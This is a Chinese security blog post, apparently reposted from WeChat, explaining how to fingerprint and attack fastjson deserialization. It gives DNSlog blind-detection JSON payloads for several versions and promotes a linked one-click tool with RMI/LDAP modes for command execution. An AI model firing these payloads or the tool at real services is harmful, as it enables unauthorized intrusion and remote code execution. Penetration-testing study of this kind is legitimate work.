序章
上次介绍过手动利用fastjson,但讲的过于太简单了。根据大家的反应,收集如下几个问题。
1、如何盲打fastjson
2、fastjson的指纹
3、各版本payload以及使用ldap模式监听。
下面我就一一解答,我只是把我在网上查到的资料消化 后分享给大家,如果有大佬觉得哪里不对,还望不吝赐教。文末附带工具链接。
环境搭建
这个不用多说了吧,使用vulhub搭建,不懂的去看前面的文章。
启动fastjson:1.2.24或者fastjson:1.2.45都可以。
判断fastjson
无特殊配置情况下fastjson,无正确的闭合会报错,返回结果里有fastjson字样。
从上图可以看出,我们使用了一个花括号,fastjson处理json时会返回报错信息。
有的小伙伴就问了,如果是配置了不返回报错信息怎么办?那这种情况就只有利用dnslog盲打了。
这里有个小技巧就是,如果你批量检查或者自己的dnslog,里面有很多记录。你可以这样使用'baidu'.d1flzs.dnslog.cn,在dnslog前面加个名称
盲打payload:
1.2.67版本前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
工具使用
下面讲解工具使用,这是通过GitHub上大佬工具改造的。
支持rmi及ldap两种模式
参数介绍:
-h, --help //查看帮助
-u, --url //漏洞url
-c, --commamd //执行命令
-m, --mode //选择执行模式(可选),1:ldap模式(默认);2:rmi模式
演示效果(dnslog):
演示效果(创建文件):
批量检测
工具链接:
https://github.com/mrknow001/fastjson_rec_exploit
工具都拿走了,点个赞呗。
● 免责声明
本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。
请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试~~(重要的事情说三遍)~~,如作他用所承受的法律责任一概与作者无关!!!
本文始发于微信公众号(凌晨安全):工欲善其事必先利其器之Fastjson一键利用工具(附批量检测工具)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论